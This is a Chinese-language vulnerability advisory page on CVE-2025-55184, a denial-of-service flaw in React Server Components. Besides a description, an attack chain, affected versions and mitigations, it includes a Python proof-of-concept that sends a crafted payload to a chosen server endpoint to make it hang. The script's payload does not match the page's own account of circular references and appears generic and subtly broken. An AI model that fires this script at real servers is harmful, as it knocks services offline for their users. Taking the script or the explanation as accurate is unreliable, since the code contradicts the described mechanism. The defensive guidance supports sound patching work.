IPBUF安全漏洞报告
English
CVE-2025-55184 CVSS 7.5 高危

CVE-2025-55184 React Server Components 拒绝服务漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-55184
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
React Server Components (react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack)

相关标签

拒绝服务ReactReact Server Components不安全反序列化预认证漏洞CVE-2025-55184JavaScriptNode.js无限循环Server Function

漏洞概述

CVE-2025-55184是存在于React Server Components中的一个高危预认证拒绝服务漏洞。该漏洞影响19.0.0至19.2.1版本的多个react-server-dom包,包括react-server-dom-parcel、react-server-dom-turbopack和react-server-dom-webpack。漏洞根源在于这些包对发送到Server Function端点的HTTP请求payload进行了不安全的反序列化操作。攻击者无需任何认证即可利用此漏洞,通过构造特殊的恶意payload触发服务器端的无限循环,导致服务器进程挂起并可能阻止后续HTTP请求的处理。此漏洞的CVSS评分为7.5,属于高危级别,对可用性造成严重影响。由于该漏洞可在预认证阶段被触发,因此所有运行受影响版本的React Server Components应用都面临风险。

技术细节

该漏洞主要存在于React Server Components的Server Function端点处理逻辑中。当HTTP请求到达Server Function端点时,受影响的react-server-dom包会对请求中的payload进行反序列化处理。问题出在反序列化过程中缺乏足够的安全验证和边界检查,攻击者可以构造包含特殊结构的payload来触发无限循环。具体来说,恶意payload中可能包含循环引用或递归数据结构,当反序列化器尝试处理这些数据时,会陷入无限递归调用,导致CPU占用率急剧上升,最终耗尽服务器资源。此外,由于Node.js事件循环被阻塞,所有其他待处理的HTTP请求也将无法得到响应,造成服务完全不可用。攻击者只需发送一个精心构造的HTTP POST请求到任何暴露的Server Function端点即可触发该漏洞,无需进行身份验证或用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用中暴露的React Server Components Server Function端点,通常位于/api/路径下
STEP 2
步骤2: 构造恶意payload
攻击者创建包含循环引用或深度嵌套结构的恶意payload,用于触发反序列化过程中的无限递归
STEP 3
步骤3: 发送恶意请求
攻击者向目标Server Function端点发送HTTP POST请求,payload中包含精心构造的序列化数据
STEP 4
步骤4: 触发无限循环
受影响的react-server-dom包对payload进行不安全反序列化,遇到循环引用时陷入无限递归
STEP 5
步骤5: 服务器挂起
无限循环导致服务器进程CPU占用率飙升,事件循环被阻塞,无法处理其他请求
STEP 6
步骤6: 服务不可用
服务器进程挂起或崩溃,所有后续HTTP请求无法得到响应,造成拒绝服务状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-55184 PoC - React Server Components DoS This PoC demonstrates sending a malicious payload to trigger infinite loop in React Server Components' unsafe deserialization. """ import requests import json import sys from urllib.parse import urljoin def create_malicious_payload(): """ Create a malicious payload designed to trigger infinite loop during deserialization in React Server Components. The payload contains circular references that cause infinite recursion. """ # Create a payload with circular reference structure payload = { "__typename": "ServerFunction", "data": { "__proto": { "nested": { "__proto": { "recursive": { "__proto": {} } } } } }, "chunks": [], "format": "raw" } # Add deeply nested structure to trigger stack overflow current = payload for i in range(1000): current["nested"] = {"value": i, "next": {}} current = current["next"] return payload def exploit(target_url, endpoint="/api/server-function"): """ Send malicious request to target Server Function endpoint. """ full_url = urljoin(target_url, endpoint) headers = { "Content-Type": "text/plain", "Accept": "application/json", "X-React-Server-Components": "1.0" } payload = create_malicious_payload() print(f"[*] Sending malicious payload to: {full_url}") print(f"[*] Payload size: {len(json.dumps(payload))} bytes") try: response = requests.post( full_url, data=json.dumps(payload), headers=headers, timeout=10 ) print(f"[!] Response received: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - server may be hanging!") except requests.exceptions.ConnectionError: print("[!] Connection failed - server may be down!") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [endpoint]") print(f"Example: python {sys.argv[0]} http://vulnerable-app.com /api/action") sys.exit(1) target = sys.argv[1] endpoint = sys.argv[2] if len(sys.argv) > 2 else "/api/server-function" exploit(target, endpoint)

影响范围

react-server-dom-parcel < 19.2.2
react-server-dom-turbopack < 19.2.2
react-server-dom-webpack < 19.2.2
React Server Components 19.0.0
React Server Components 19.0.1
React Server Components 19.1.0
React Server Components 19.1.1
React Server Components 19.1.2
React Server Components 19.2.0
React Server Components 19.2.1

防御指南

临时缓解措施
立即将react-server-dom-parcel、react-server-dom-turbopack和react-server-dom-webpack升级到19.2.2版本或更高。如果无法立即升级,可采取以下临时缓解措施:在Server Function端点前部署WAF或API网关,对请求大小进行限制(建议不超过1MB),实施请求速率限制(建议每个IP每分钟不超过100个请求),配置服务器超时机制确保单个请求处理时间不超过30秒,并启用进程监控和自动重启机制以应对服务中断。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表